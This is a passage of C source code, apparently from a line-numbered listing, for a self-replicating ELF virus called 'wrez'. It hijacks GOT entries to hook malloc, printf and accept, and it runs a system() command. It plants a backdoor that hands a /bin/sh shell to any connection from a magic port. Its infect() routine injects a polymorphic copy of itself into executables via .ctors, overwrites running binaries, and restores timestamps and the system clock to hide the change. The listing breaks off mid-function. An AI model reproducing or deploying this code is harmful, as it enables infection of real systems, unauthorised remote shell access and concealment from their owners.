| 177 | STRINGPTR (mallocstr, "got_funcloc_array != 1\\n"); | ||
| 178 | write (2, mallocstr, 24); | ||
| 179 | |||
| 180 | return; | ||
| 181 | } | ||
| 182 | |||
| 183 | cgot = mallocgot[0]; | ||
| 184 | FUNCPTR (mymalloc, "ex_wrez_malloc"); | ||
| 185 | |||
| 186 | PTRINSTALL (mymalloc, *cgot, cgot, cfg); | ||
| 187 | *cgot = (Elf32_Word) mymalloc; | ||
| 188 | } | ||
| 189 | |||
| 190 | |||
| 191 | static int | ||
| 192 | ex_wrez_malloc (int size) | ||
| 193 | { | ||
| 194 | int (* chain)(int); | ||
| 195 | |||
| 196 | int rval; | ||
| 197 | char * m; | ||
| 198 | |||
| 199 | CHAINSTART(chain); | ||
| 200 | |||
| 201 | STRINGPTR (m, "wrez_malloc\\n"); | ||
| 202 | write (2, m, 13); | ||
| 203 | |||
| 204 | CHAINCALL; | ||
| 205 | rval = chain (size); | ||
| 206 | |||
| 207 | /* did the .got entry change? (lazy binding) | ||
| 208 | */ | ||
| 209 | CHAINEND; | ||
| 210 | |||
| 211 | CHAINCALL; | ||
| 212 | return (rval); | ||
| 213 | } | ||
| 214 | #endif | ||
| 215 | |||
| 216 | |||
| 217 | #ifdef LOOKUP_GOT_REDIRECTION_EXAMPLE | ||
| 218 | static void | ||
| 219 | ex_wrez_got_redirect (wrconfig *cfg) | ||
| 220 | { | ||
| 221 | char * printfstr; | ||
| 222 | Elf32_Word * printf; | ||
| 223 | void * myprintf; | ||
| 224 | |||
| 225 | |||
| 226 | STRINGPTR (printfstr, "printf"); | ||
| 227 | printf = got_funcloc ((void *) cfg->elf_base, printfstr); | ||
| 228 | FUNCPTR (myprintf, "ex_wrez_got_test"); | ||
| 229 | |||
| 230 | if (printf != NULL) { | ||
| 231 | PTRINSTALL (myprintf, *printf, printf, cfg); | ||
| 232 | *printf = (Elf32_Word) myprintf; /* overwrite .got entry */ | ||
| 233 | } | ||
| 234 | } | ||
| 235 | |||
| 236 | |||
| 237 | static int | ||
| 238 | ex_wrez_got_test (char *toprint) | ||
| 239 | { | ||
| 240 | int (* chain)(char *); | ||
| 241 | |||
| 242 | int rval; | ||
| 243 | char * m; | ||
| 244 | |||
| 245 | |||
| 246 | CHAINSTART (chain); | ||
| 247 | |||
| 248 | |||
| 249 | STRINGPTR (m, "wrez_got_test\\n"); | ||
| 250 | write (2, m, 14); | ||
| 251 | |||
| 252 | rval = chain (toprint); | ||
| 253 | |||
| 254 | /* did the .got entry change? (lazy binding) | ||
| 255 | */ | ||
| 256 | CHAINEND; | ||
| 257 | |||
| 258 | return (rval); | ||
| 259 | } | ||
| 260 | #endif | ||
| 261 | |||
| 262 | |||
| 263 | #ifdef LOOKUP_LIBC_CALL_EXAMPLE | ||
| 264 | static void | ||
| 265 | ex_wrez_libc_call (wrconfig *cfg) | ||
| 266 | { | ||
| 267 | char * systemf; | ||
| 268 | char * command; | ||
| 269 | int (*system)(char *); | ||
| 270 | |||
| 271 | |||
| 272 | STRINGPTR (systemf, "system"); | ||
| 273 | STRINGPTR (command, "uname -a;id;"); | ||
| 274 | |||
| 275 | system = symbol_resolve ((void *) cfg->elf_base, systemf); | ||
| 276 | if (system != NULL) | ||
| 277 | system (command); | ||
| 278 | } | ||
| 279 | #endif | ||
| 280 | |||
| 281 | |||
| 282 | #ifdef LOOKUP_BACKDOOR_NETWORK_MAGIC | ||
| 283 | static void | ||
| 284 | backdoor_network (wrconfig *cfg) | ||
| 285 | { | ||
| 286 | char * acceptstr; | ||
| 287 | Elf32_Word * acceptgot[8]; | ||
| 288 | int acg_wk; /* got walker */ | ||
| 289 | void * bd_accept; | ||
| 290 | |||
| 291 | |||
| 292 | memset (acceptgot, 0, sizeof (acceptgot)); | ||
| 293 | STRINGPTR (acceptstr, "accept"); | ||
| 294 | |||
| 295 | if (got_funcloc_array ((void *) cfg->elf_base, acceptstr, acceptgot, 8, | ||
| 296 | NULL) == 0) | ||
| 297 | { | ||
| 298 | return; | ||
| 299 | } | ||
| 300 | |||
| 301 | FUNCPTR (bd_accept, "backdoor_network_accept"); | ||
| 302 | |||
| 303 | /* install all GOT redirections into the hook function as static data | ||
| 304 | */ | ||
| 305 | PTRINSTALL_ARRAY (bd_accept, *(acceptgot[0]), cfg, acceptgot, "8"); | ||
| 306 | |||
| 307 | for (acg_wk = 0 ; acg_wk < (sizeof (acceptgot) / | ||
| 308 | sizeof (acceptgot[0])) && acceptgot[acg_wk] != NULL ; | ||
| 309 | ++acg_wk) | ||
| 310 | { | ||
| 311 | *(acceptgot[acg_wk]) = (Elf32_Word) bd_accept; | ||
| 312 | } | ||
| 313 | } | ||
| 314 | |||
| 315 | |||
| 316 | static int | ||
| 317 | backdoor_network_accept (int s, void *addr, int addr_len) | ||
| 318 | { | ||
| 319 | int (* chain)(int, void *, int); | ||
| 320 | int retval; | ||
| 321 | |||
| 322 | CHAINSTART_M (chain, 8, "8"); | ||
| 323 | |||
| 324 | again: | ||
| 325 | CHAINCALL; | ||
| 326 | retval = chain (s, addr, addr_len); | ||
| 327 | CHAINEND_M; | ||
| 328 | |||
| 329 | /* check whether a socket has been caught, if so, call real backdoor | ||
| 330 | * function, else just bail out as the real accept did | ||
| 331 | * | ||
| 332 | * if it is a real backdoored connection, then try again, without | ||
| 333 | * looking suspecious | ||
| 334 | */ | ||
| 335 | if (retval >= 0) { | ||
| 336 | if (backdoor_network_check (retval) != 0) { | ||
| 337 | close (retval); | ||
| 338 | |||
| 339 | goto again; | ||
| 340 | } | ||
| 341 | } | ||
| 342 | |||
| 343 | CHAINCALL; | ||
| 344 | return (retval); | ||
| 345 | } | ||
| 346 | |||
| 347 | |||
| 348 | /* return 0 if its no backdoored connection | ||
| 349 | * return != 0 if it is | ||
| 350 | */ | ||
| 351 | int | ||
| 352 | backdoor_network_check (int sock) | ||
| 353 | { | ||
| 354 | char * argv[2]; | ||
| 355 | struct sockaddr_in rm; /* remote addr */ | ||
| 356 | socklen_t rm_l = sizeof (rm); | ||
| 357 | unsigned short port; | ||
| 358 | |||
| 359 | |||
| 360 | if (getpeername (sock, &rm, &rm_l) != 0) | ||
| 361 | return (0); | ||
| 362 | |||
| 363 | port = ((rm.sin_port & 0xff) << 8) | ((rm.sin_port & 0xff00) >> 8); | ||
| 364 | if (port == MAGIC_PORT) { | ||
| 365 | if (fork () != 0) | ||
| 366 | return (1); | ||
| 367 | } else | ||
| 368 | return (0); | ||
| 369 | |||
| 370 | /* backdoored child from hereon | ||
| 371 | */ | ||
| 372 | STRINGPTR (argv[0], "/bin/sh"); | ||
| 373 | argv[1] = NULL; | ||
| 374 | dup2 (sock, 0); | ||
| 375 | dup2 (sock, 1); | ||
| 376 | dup2 (sock, 2); | ||
| 377 | execve (argv[0], argv, NULL); | ||
| 378 | _exit (0); | ||
| 379 | |||
| 380 | return (0); | ||
| 381 | } | ||
| 382 | |||
| 383 | #endif | ||
| 384 | |||
| 385 | |||
| 386 | /* isinfected | ||
| 387 | * | ||
| 388 | * test whether executeable file `filename' is already infected by wrez. | ||
| 389 | * this test may cause false-positives because we use no signature but a | ||
| 390 | * property of the program headers that could appear in normal files, too. | ||
| 391 | * | ||
| 392 | * return 0 if the file is not infected yet | ||
| 393 | * return != 0 if the file is either infected or we cannot tell (error?) | ||
| 394 | * 1 = infected or false positive | ||
| 395 | * -1 = bug or cannot tell | ||
| 396 | */ | ||
| 397 | |||
| 398 | static int | ||
| 399 | isinfected (char *filename) | ||
| 400 | { | ||
| 401 | int vfd, | ||
| 402 | rval = -1; /* return value, assume infected */ | ||
| 403 | Elf32_Ehdr veh; | ||
| 404 | Elf32_Phdr vph; | ||
| 405 | |||
| 406 | |||
| 407 | vfd = open (filename, O_RDONLY, 0); | ||
| 408 | if (vfd < 0) | ||
| 409 | return (-1); | ||
| 410 | |||
| 411 | if (read (vfd, &veh, sizeof (veh)) != sizeof (veh)) | ||
| 412 | goto bail; | ||
| 413 | |||
| 414 | if (veh.e_ident[EI_MAG0] != ELFMAG0 || | ||
| 415 | veh.e_ident[EI_MAG1] != ELFMAG1 || | ||
| 416 | veh.e_ident[EI_MAG2] != ELFMAG2 || | ||
| 417 | veh.e_ident[EI_MAG3] != ELFMAG3) | ||
| 418 | goto bail; | ||
| 419 | |||
| 420 | if (veh.e_type != ET_EXEC || veh.e_machine != EM_386) | ||
| 421 | goto bail; | ||
| 422 | |||
| 423 | if (lseek (vfd, veh.e_phoff, SEEK_SET) == -1) | ||
| 424 | goto bail; | ||
| 425 | |||
| 426 | while (veh.e_phnum-- > 0) { | ||
| 427 | if (read (vfd, &vph, sizeof (vph)) != sizeof (vph)) | ||
| 428 | goto bail; | ||
| 429 | |||
| 430 | if (vph.p_type != PT_LOAD) | ||
| 431 | continue; | ||
| 432 | |||
| 433 | if (vph.p_flags != (PF_W | PF_R)) | ||
| 434 | continue; | ||
| 435 | |||
| 436 | if (INFECTED_IS (vph.p_memsz)) { | ||
| 437 | rval = 1; | ||
| 438 | } else { | ||
| 439 | rval = 0; /* not infected */ | ||
| 440 | } | ||
| 441 | |||
| 442 | goto bail; | ||
| 443 | } | ||
| 444 | |||
| 445 | bail: close (vfd); | ||
| 446 | |||
| 447 | return (rval); | ||
| 448 | } | ||
| 449 | |||
| 450 | |||
| 451 | /* infect | ||
| 452 | * | ||
| 453 | * try to infect file `filename'. do not check whether it is already infected. | ||
| 454 | * | ||
| 455 | * our idea works like this: | ||
| 456 | * 1. find the last physical PT_LOAD segment | ||
| 457 | * 2. save everything behind that in the file | ||
| 458 | * 3. extend last PT_LOAD segment and inject ourself there | ||
| 459 | * 4. append everything saved behind us | ||
| 460 | * 5. fixup addresses for data behind us, which we assume to be only the | ||
| 461 | * section header table and the .shstrtab section | ||
| 462 | * 6. increase PT_LOAD segments physical size so we get mapped too | ||
| 463 | * 7. redirect .ctors to our entry point so we seize control | ||
| 464 | * | ||
| 465 | * when mvfile is non-NULL, it is used to copy the file to this name before | ||
| 466 | * infecting it in case we cannot open the `filename' read/write. it will | ||
| 467 | * then infect the copy, unlinking the old file and then moving the mvfile to | ||
| 468 | * the old filename. this is necessary when infecting running processes | ||
| 469 | * | ||
| 470 | * return in any case | ||
| 471 | */ | ||
| 472 | |||
| 473 | static inline void | ||
| 474 | infect (wrconfig *cfg, char *filename, char *mvfile) | ||
| 475 | { | ||
| 476 | int n, /* temporary counter */ | ||
| 477 | vfd; /* victim file descriptor */ | ||
| 478 | Elf32_Ehdr veh; | ||
| 479 | Elf32_Phdr vph; | ||
| 480 | unsigned int vlen; /* victim file length */ | ||
| 481 | |||
| 482 | Elf32_Phdr vphlast; | ||
| 483 | unsigned int ph_lastofs = 0; /* offset of _Phdr struct in file */ | ||
| 484 | unsigned int ph_lastphys = 0;/* last byte touched by PT_LOAD seg */ | ||
| 485 | |||
| 486 | unsigned int phtext_offset = 0, /* used for .ctors scan */ | ||
| 487 | phtext_filesz = 0; | ||
| 488 | |||
| 489 | unsigned char * mbl; /* memory block */ | ||
| 490 | unsigned int mbl_len; /* length */ | ||
| 491 | |||
| 492 | unsigned char * dpoly; /* destination buffer for poly */ | ||
| 493 | unsigned int dpoly_len, /* length of destination buffer */ | ||
| 494 | dpoly_used; /* number of bytes used */ | ||
| 495 | #if 0 | ||
| 496 | /* see below what this should be used for */ | ||
| 497 | img_ok_check; /* magic value transport */ | ||
| 498 | #endif | ||
| 499 | |||
| 500 | Elf32_Shdr seh; | ||
| 501 | unsigned int ctors_virt = 0; /* virtual .ctors offset in process */ | ||
| 502 | unsigned int old_wrctors; | ||
| 503 | |||
| 504 | unsigned int elf_base = 0, /* virtual &elf_header[0] */ | ||
| 505 | old_elf_base; /* temporary backup */ | ||
| 506 | |||
| 507 | unsigned int new_entry, /* new entry point */ | ||
| 508 | new_displ, /* displacement new/old */ | ||
| 509 | lastmem = 0; /* last used memory at all in file */ | ||
| 510 | unsigned char wrchar = 0x00; /* fill byte for .bss */ | ||
| 511 | |||
| 512 | struct stat ost; /* old stat of file */ | ||
| 513 | struct utimbuf nutime; /* new utime of infected file */ | ||
| 514 | struct timeval otval, /* current time (to change it back) */ | ||
| 515 | ntval; /* new timeval of infected file */ | ||
| 516 | |||
| 517 | int tfd = 0; /* temporary fd for mvfile */ | ||
| 518 | unsigned char tcopy[64]; /* copy buffer used */ | ||
| 519 | |||
| 520 | |||
| 521 | /* get timestamps to restore them afterwards | ||
| 522 | */ | ||
| 523 | if (stat (filename, &ost) == -1) | ||
| 524 | return; | ||
| 525 | |||
| 526 | vfd = open (filename, O_RDWR, 0); | ||
| 527 | |||
| 528 | if (vfd < 0 && mvfile != NULL) { | ||
| 529 | vfd = open (filename, O_RDONLY, 0); | ||
| 530 | if (vfd < 0) | ||
| 531 | return; | ||
| 532 | |||
| 533 | /* use some innocent looking mode here, in case things go | ||
| 534 | * wrong later and the file sticks somewhere | ||
| 535 | */ | ||
| 536 | tfd = open (mvfile, O_CREAT | O_RDWR, 0755); | ||
| 537 | if (tfd < 0) | ||
| 538 | return; | ||
| 539 | |||
| 540 | /* copy the old file (`filename', at vfd) to the newly created | ||
| 541 | * one (`mvfile', at tfd) | ||
| 542 | */ | ||
| 543 | while ((n = read (vfd, tcopy, sizeof (tcopy))) > 0) | ||
| 544 | write (tfd, tcopy, n); | ||
| 545 | |||
| 546 | /* in either case (error or not), close down the fd's used | ||
| 547 | */ | ||
| 548 | close (tfd); | ||
| 549 | close (vfd); | ||
| 550 | |||
| 551 | if (n < 0) { | ||
| 552 | unlink (mvfile); | ||
| 553 | return; | ||
| 554 | } | ||
| 555 | |||
| 556 | #define OPERATE_ON_COPY_MARKER 0xffff | ||
| 557 | tfd = OPERATE_ON_COPY_MARKER; | ||
| 558 | |||
| 559 | vfd = open (mvfile, O_RDWR, 0); | ||
| 560 | } | ||
| 561 | |||
| 562 | /* no chance, even with moving? | ||
| 563 | */ | ||
| 564 | if (vfd < 0) | ||
| 565 | return; | ||
| 566 | |||
| 567 | |||
| 568 | if (read (vfd, &veh, sizeof (veh)) != sizeof (veh)) | ||
| 569 | goto bail; | ||
| 570 | |||
| 571 | /* find physical .ctors address | ||
| 572 | * requires section header table (.e_shoff != 0) | ||
| 573 | */ | ||
| 574 | if (veh.e_shoff == 0) | ||
| 575 | goto bail; | ||
| 576 | |||
| 577 | if (lseek (vfd, veh.e_shoff, SEEK_SET) == -1) | ||
| 578 | goto bail; | ||
| 579 | |||
| 580 | for (n = 0 ; n < veh.e_shnum ; ++n) { | ||
| 581 | if (read (vfd, &seh, sizeof (seh)) != sizeof (seh)) | ||
| 582 | goto bail; | ||
| 583 | |||
| 584 | /* XXX: .bss has to be zeroed out even in the rtld already. | ||
| 585 | * hence we cannot activate through .ctors except we | ||
| 586 | * provide a zeroed-out array over whole .bss. sucks. | ||
| 587 | */ | ||
| 588 | if (seh.sh_addr != 0 && | ||
| 589 | (seh.sh_offset + seh.sh_size) > lastmem) | ||
| 590 | { | ||
| 591 | lastmem = seh.sh_offset + seh.sh_size; | ||
| 592 | } | ||
| 593 | |||
| 594 | if (seh.sh_type != SHT_PROGBITS) | ||
| 595 | continue; | ||
| 596 | if (seh.sh_size != 8) | ||
| 597 | continue; | ||
| 598 | if (seh.sh_flags != (SHF_WRITE | SHF_ALLOC)) | ||
| 599 | continue; | ||
| 600 | |||
| 601 | /* first occurance is the .ctors section, so write its | ||
| 602 | * physical position in the file down and abort search | ||
| 603 | */ | ||
| 604 | if (ctors_virt == 0) | ||
| 605 | ctors_virt = seh.sh_addr; | ||
| 606 | } | ||
| 607 | |||
| 608 | /* failed to find .ctors section ? | ||
| 609 | */ | ||
| 610 | if (ctors_virt == 0) | ||
| 611 | goto bail; | ||
| 612 | |||
| 613 | |||
| 614 | /* read in program headers, and find the last physical one. | ||
| 615 | */ | ||
| 616 | if (lseek (vfd, veh.e_phoff, SEEK_SET) == -1) | ||
| 617 | goto bail; | ||
| 618 | |||
| 619 | for (n = 0 ; n < veh.e_phnum ; ++n) { | ||
| 620 | if (read (vfd, &vph, sizeof (vph)) != sizeof (vph)) | ||
| 621 | goto bail; | ||
| 622 | |||
| 623 | if (vph.p_type != PT_LOAD) | ||
| 624 | continue; | ||
| 625 | |||
| 626 | /* starting at zero == includes elf header | ||
| 627 | */ | ||
| 628 | if (vph.p_offset == 0) { | ||
| 629 | elf_base = vph.p_vaddr; | ||
| 630 | |||
| 631 | /* we save this to better limit down the .ctors | ||
| 632 | * calling code in the file. this may be especially | ||
| 633 | * important for very large and or weird (c++ ?) files | ||
| 634 | * since there may be multiple .ctors calling | ||
| 635 | * occurances. anyway, its better to not scan the | ||
| 636 | * entire file, but just the .text PT_LOAD segment | ||
| 637 | */ | ||
| 638 | phtext_offset = vph.p_offset; | ||
| 639 | phtext_filesz = vph.p_filesz; | ||
| 640 | } | ||
| 641 | |||
| 642 | if ((vph.p_offset + vph.p_filesz) > ph_lastphys) { | ||
| 643 | ph_lastphys = vph.p_offset + vph.p_filesz; | ||
| 644 | memcpy ((void *) &vphlast, (void *) &vph, | ||
| 645 | sizeof (vphlast)); | ||
| 646 | |||
| 647 | ph_lastofs = veh.e_phoff + n * veh.e_phentsize; | ||
| 648 | } | ||
| 649 | } | ||
| 650 | |||
| 651 | /* get victim file length, and compute length of memory block to | ||
| 652 | * slide. | ||
| 653 | */ | ||
| 654 | vlen = lseek (vfd, 0, SEEK_END); | ||
| 655 | mbl_len = vlen - ph_lastphys; | ||
| 656 | |||
| 657 | mbl = (unsigned char *) mmap ((void *) 0x06000000, | ||
| 658 | mbl_len, PROT_READ | PROT_WRITE, | ||
| 659 | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); | ||
| 660 | |||
| 661 | lseek (vfd, ph_lastphys, SEEK_SET); | ||
| 662 | if (read (vfd, mbl, mbl_len) != mbl_len) | ||
| 663 | goto bail2; | ||
| 664 | |||
| 665 | /* inject ourself at the end of the PT_LOAD segment: | ||
| 666 | * | ||
| 667 | * 0| datadatadata 1| \0\0\0\0\0\0\0 2| vdata 3| vpad 4| | ||
| 668 | * +---.data--+ +----.bss----+ | ||
| 669 | * | ||
| 670 | * 0| = ph_offset, with .data section | ||
| 671 | * 1| = ph_offset + old_ph_filesz, .bss section | ||
| 672 | * 2| = ph_offset + old_ph_memsz, virus data compressed | ||
| 673 | * 3| = ph_offset + new_ph_filesz, space for decompressed virus | ||
| 674 | * 4| = ph_offset + new_ph_memsz | ||
| 675 | */ | ||
| 676 | if (lseek (vfd, ph_lastphys, SEEK_SET) != ph_lastphys) | ||
| 677 | goto bail2; | ||
| 678 | |||
| 679 | if ((lastmem - ph_lastphys) > 0) { | ||
| 680 | do { | ||
| 681 | write (vfd, &wrchar, 1); | ||
| 682 | } while (lseek (vfd, 0, SEEK_CUR) < lastmem); | ||
| 683 | } | ||
| 684 | |||
| 685 | /* compute new entry point | ||
| 686 | */ | ||
| 687 | new_entry = vphlast.p_vaddr + vphlast.p_memsz + sizeof (unsigned int); | ||
| 688 | |||
| 689 | /* generate a new polymorphic version of the virus, and write it to | ||
| 690 | * the victim file | ||
| 691 | * | ||
| 692 | * steps: - write correct .ctors address in new image | ||
| 693 | * - get memory for polymorph version | ||
| 694 | * - generate the polymorph version | ||
| 695 | * - write .ctors to file | ||
| 696 | * - write it to the file | ||
| 697 | * - free the memory | ||
| 698 | * - restore the .ctors addresses | ||
| 699 | */ | ||
| 700 | old_wrctors = cfg->wr_oldctors; | ||
| 701 | |||
| 702 | /* XXX: the crt0.o behaviour changed from where it required +4 offset | ||
| 703 | * adjusting to +0. FIXME: make a reliable algo */ | ||
| 704 | /* cfg->wr_oldctors = ctors_virt + 4; */ | ||
| 705 | cfg->wr_oldctors = ctors_virt; | ||
| 706 | |||
| 707 | old_elf_base = cfg->elf_base; | ||
| 708 | cfg->elf_base = elf_base; | ||
| 709 | |||
| 710 | dpoly_len = WREZ_SIZE_COMP + 4096; | ||
| 711 | dpoly = (unsigned char *) mmap ((void *) 0x07000000, | ||
| 712 | dpoly_len, PROT_READ | PROT_WRITE, | ||
| 713 | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); | ||
| 714 | |||
| 715 | if ((int) dpoly == -1) | ||
| 716 | goto bail2; | ||
| 717 | |||
| 718 | dpoly_used = infect_image (cfg, dpoly, new_entry); | ||
| 719 | |||
| 720 | #ifdef DOES_NOT_WORK | ||
| 721 | /* FIXME: does not work because the virus copy generated here (at &dpoly[0] | ||
| 722 | is at a different address than in the final infected file. because | ||
| 723 | the poly engine (lime) has to know the final load-address of the | ||
| 724 | code, it is impossible to test the virus with it. too bad. | ||
| 725 | */ | ||
| 726 | /* test whether polymorphistic code worked. | ||
| 727 | * this is a workaround, since the polyengine contains some small | ||
| 728 | * bugs which appear randomly and result in segfaults and illegal | ||
| 729 | * instructions. since we installed a signal handler for both, back | ||
| 730 | * in wrez.asm, if things go wrong here, we will pass control to | ||
| 731 | * the host executeable and the file will not be infected. | ||
| 732 | */ | ||
| 733 | __asm__ __volatile__ (" | ||
| 734 | call *%%eax | ||
| 735 | nop | ||
| 736 | nop | ||
| 737 | nop | ||
| 738 | nop" | ||
| 739 | : "=a" (img_ok_check) : "a" (dpoly)); | ||
| 740 | |||
| 741 | /* magic "worked" value. normally if something wents wrong, we do | ||
| 742 | * not even receive control anymore | ||
| 743 | */ | ||
| 744 | if (img_ok_check != 0x60504030) | ||
| 745 | goto bail3; | ||
| 746 | #endif | ||
| 747 | |||
| 748 | /* first write new .ctors, followed by the full polycode | ||
| 749 | */ | ||
| 750 | if (write (vfd, (void *) &new_entry, sizeof (unsigned int)) != | ||
| 751 | sizeof (unsigned int)) | ||
| 752 | goto bail3; | ||
| 753 | |||
| 754 | if (write (vfd, (void *) dpoly, dpoly_used) != dpoly_used) | ||
| 755 | goto bail3; | ||
| 756 | |||
| 757 | munmap ((void *) dpoly, dpoly_len); | ||
| 758 | |||
| 759 | cfg->elf_base = old_elf_base; | ||
| 760 | cfg->wr_oldctors = old_wrctors; | ||
| 761 | |||
| 762 | /* write back saved block and fixup absolute address in elf header | ||
| 763 | * lseek(vfd,0,SEEK_CUR) is the new last physical byte touched by | ||
| 764 | * the PT_LOAD segment | ||
| 765 | */ | ||
| 766 | new_displ = lseek (vfd, 0, SEEK_CUR) - ph_lastphys; | ||
| 767 | if (write (vfd, (void *) mbl, mbl_len) != mbl_len) | ||
| 768 | goto bail2; | ||
| 769 | |||
| 770 | |||
| 771 | if (veh.e_shoff > ph_lastphys) { | ||
| 772 | veh.e_shoff += new_displ; | ||
| 773 | |||
| 774 | if (lseek (vfd, 0, SEEK_SET) == -1) | ||
| 775 | goto bail2; | ||
| 776 | if (write (vfd, (void *) &veh, sizeof (veh)) != sizeof (veh)) | ||
| 777 | goto bail2; | ||
| 778 | } | ||
| 779 | |||
| 780 | /* fixup section addresses in section header table | ||
| 781 | */ | ||
| 782 | if (lseek (vfd, veh.e_shoff, SEEK_SET) == -1) | ||
| 783 | goto bail; | ||
| 784 | |||
| 785 | for (n = 0 ; n < veh.e_shnum ; ++n) { | ||
| 786 | if (read (vfd, &seh, sizeof (seh)) != sizeof (seh)) | ||
| 787 | goto bail2; | ||
| 788 | |||
| 789 | switch (seh.sh_type) { | ||
| 790 | case (SHT_NULL): | ||
| 791 | break; | ||
| 792 | default: | ||
| 793 | /* did we move anything non-runtime related ? | ||
| 794 | */ | ||
| 795 | if (seh.sh_addr == 0 && seh.sh_offset >= ph_lastphys) { | ||
| 796 | seh.sh_offset += new_displ; | ||
| 797 | |||
| 798 | if (lseek (vfd, -sizeof(seh), SEEK_CUR) == -1) | ||
| 799 | goto bail2; | ||
| 800 | |||
| 801 | write (vfd, &seh, sizeof (seh)); | ||
| 802 | } | ||
| 803 | break; | ||
| 804 | } | ||
| 805 | } | ||
| 806 | |||
| 807 | /* patch last PT_LOAD segment header to load ourself into memory | ||
| 808 | * XXX: sizeof (unsigned int) is the ctors address we add. | ||
| 809 | */ | ||
| 810 | vphlast.p_filesz += sizeof (unsigned int) + | ||
| 811 | dpoly_used + (lastmem - ph_lastphys); | ||
| 812 | |||
| 813 | /* XXX: we need space for the decompression, exactly WREZ_SIZE bytes */ | ||
| 814 | if (vphlast.p_memsz < (vphlast.p_filesz + WREZ_SIZE - cfg->decomp_len)) | ||
| 815 | vphlast.p_memsz = vphlast.p_filesz + | ||
| 816 | WREZ_SIZE - cfg->decomp_len; | ||
| 817 | |||
| 818 | /* vphlast.p_memsz is the utter minimum we need for decompression and | ||
| 819 | * ourself. but we round it up a bit as infection marker. the macros | ||
| 820 | * INFECTED_SET and INFECTED_IS are used and can be tweaked for a good | ||
| 821 | * false-positive ratio. | ||
| 822 | */ | ||
| 823 | INFECTED_SET (vphlast.p_memsz); | ||
| 824 | |||
| 825 | if (lseek (vfd, ph_lastofs, SEEK_SET) != ph_lastofs) | ||
| 826 | goto bail2; | ||
| 827 | if (write (vfd, &vphlast, veh.e_phentsize) != veh.e_phentsize) | ||
| 828 | goto bail2; | ||
| 829 | |||
| 830 | /* modify .ctors to make it call our virus on startup | ||
| 831 | */ | ||
| 832 | fixup_ctors (vfd, ctors_virt, new_entry - sizeof (unsigned int), | ||
| 833 | phtext_offset, phtext_filesz); | ||
| 834 | |||
| 835 | munmap ((void *) mbl, mbl_len); | ||
| 836 | close (vfd); | ||
| 837 | |||
| 838 | |||
| 839 | /* if we infected a copy because the original binary is running, we | ||
| 840 | * overwrite the original binary now (or at least try to ;) | ||
| 841 | */ | ||
| 842 | if (tfd == OPERATE_ON_COPY_MARKER) { | ||
| 843 | if (unlink (filename) != 0) { | ||
| 844 | unlink (mvfile); | ||
| 845 | |||
| 846 | return; | ||
| 847 | } | ||
| 848 | |||
| 849 | /* original is removed now, copy our infected binary over | ||
| 850 | * it, then proceed as usual (restore filestamps and such) | ||
| 851 | */ | ||
| 852 | if (rename (mvfile, filename) != 0) { | ||
| 853 | /* oops, we deleted the original binary, but fail now, | ||
| 854 | * thats not good :( hm.. at least leave no trace then | ||
| 855 | */ | ||
| 856 | unlink (mvfile); | ||
| 857 | |||
| 858 | return; | ||
| 859 | } | ||
| 860 | } | ||
| 861 | |||
| 862 | /* restore timestamps on file | ||
| 863 | */ | ||
| 864 | nutime.actime = ost.st_atime; | ||
| 865 | nutime.modtime = ost.st_mtime; | ||
| 866 | ntval.tv_sec = ost.st_ctime + 1; | ||
| 867 | ntval.tv_usec = 0; | ||
| 868 | |||
| 869 | if (utime (filename, &nutime) == -1) | ||
| 870 | goto bail2; | ||
| 871 | |||
| 872 | if (gettimeofday (&otval, 0) == -1) | ||
| 873 | goto bail2; | ||
| 874 | |||
| 875 | /* XXX: kludge, this will naturally fail when we are != uid 0 | ||
| 876 | */ | ||
| 877 | if (settimeofday (&ntval, 0) == -1) | ||
| 878 | goto bail2; | ||
| 879 | |||
| 880 | chown (filename, ost.st_uid, ost.st_gid); | ||
| 881 | |||
| 882 | /* TODO/FIXME: loop until correct time was set */ | ||
| 883 | settimeofday (&otval, 0); | ||
| 884 | |||
| 885 | return; | ||
| 886 | |||
| 887 | bail3: munmap ((void *) dpoly, dpoly_len); | ||
| 888 | bail2: munmap ((void *) mbl, mbl_len); | ||
| 889 | |||
| 890 | bail: close (vfd); | ||
| 891 | } | ||
| 892 | |||
| 893 | |||
| 894 | /* infect_image | ||
| 895 | * | ||
| 896 | * create a proper new polymorph image of the virus at `dest'. there must | ||
| 897 | * be at least (4096 + virus-size) bytes at dest. | ||
| 898 | * | ||
| 899 | * return the number of bytes stored at dest | ||
| 900 | */ | ||
| 901 | |||
| 902 | static unsigned int | ||
| 903 | infect_image (wrconfig *cfg, unsigned char *dest, unsigned long int new_entry) | ||
| 904 | { | ||
| 905 | unsigned int dn = 0; | ||
| 906 | |||
| 907 | #ifdef POLYMORPHISM | ||
| 908 | unsigned int lime_len; | ||
| 909 | |||
| 910 | dest[dn++] = 0x9c; /* pushf */ | ||
| 911 | dest[dn++] = 0x60; /* pusha */ | ||
| 912 | |||
| 913 | lime_len = lime_generate (cfg->wr_start, WREZ_SIZE_COMP, | ||
| 914 | &dest[dn], new_entry + dn, 0x0); | ||
| 915 | |||
| 916 | return (dn + lime_len); | ||
| 917 | #else | ||
| 918 | dest[dn++] = 0x9c; /* pushf */ | ||
| 919 | dest[dn++] = 0x60; /* pusha */ | ||
| 920 | |||
| 921 | memcpy (&dest[dn], (void *) cfg->wr_start, WREZ_SIZE_COMP); | ||
| 922 | |||
| 923 | return (WREZ_SIZE_COMP + 2); | ||
| 924 | #endif | ||
| 925 | |||
| 926 | } | ||
| 927 | |||
| 928 | |||
| 929 | /* fixup_ctors | ||
| 930 | * | ||
| 931 | * find and change any occurance of ctor walking code in crt0.o | ||
| 932 | * | ||
| 933 | * looks like: | ||
| 934 | * 00007457:BBB4350508 mov ebx,080535B4 | ||
| 935 | * 0000745C:833DB4350508FF cmp (d) [+080535B4],-01 | ||
| 936 | * 00007463:740C je file:00007471 =>[2] | ||
| 937 | * 00007465:8B03 mov eax,[ebx] | ||
| 938 | * 00007467:FFD0 call (d) eax | ||
| 939 | * 00007469:83C3FC add (d) ebx,-04 | ||
| 940 | * 0000746C:833BFF cmp (d) [ebx],-01 | ||
| 941 | * 0000746F:75F4 jne file:00007465 | ||
| 942 | * | ||
| 943 | * file to scan for the code is already opened read-write at `vfd'. the old | ||
| 944 | * address thats stored in the code right now is `old_addr', we replace with | ||
| 945 | * `new_addr'. within the file, the possible space we should look at is from | ||
| 946 | * `startseek' to (`startseek' + `lenseek') | ||
| 947 | * | ||
| 948 | * return in any case | ||
| 949 | */ | ||
| 950 | |||
| 951 | static inline void | ||
| 952 | fixup_ctors (int vfd, unsigned long int old_addr, unsigned long int new_addr, | ||
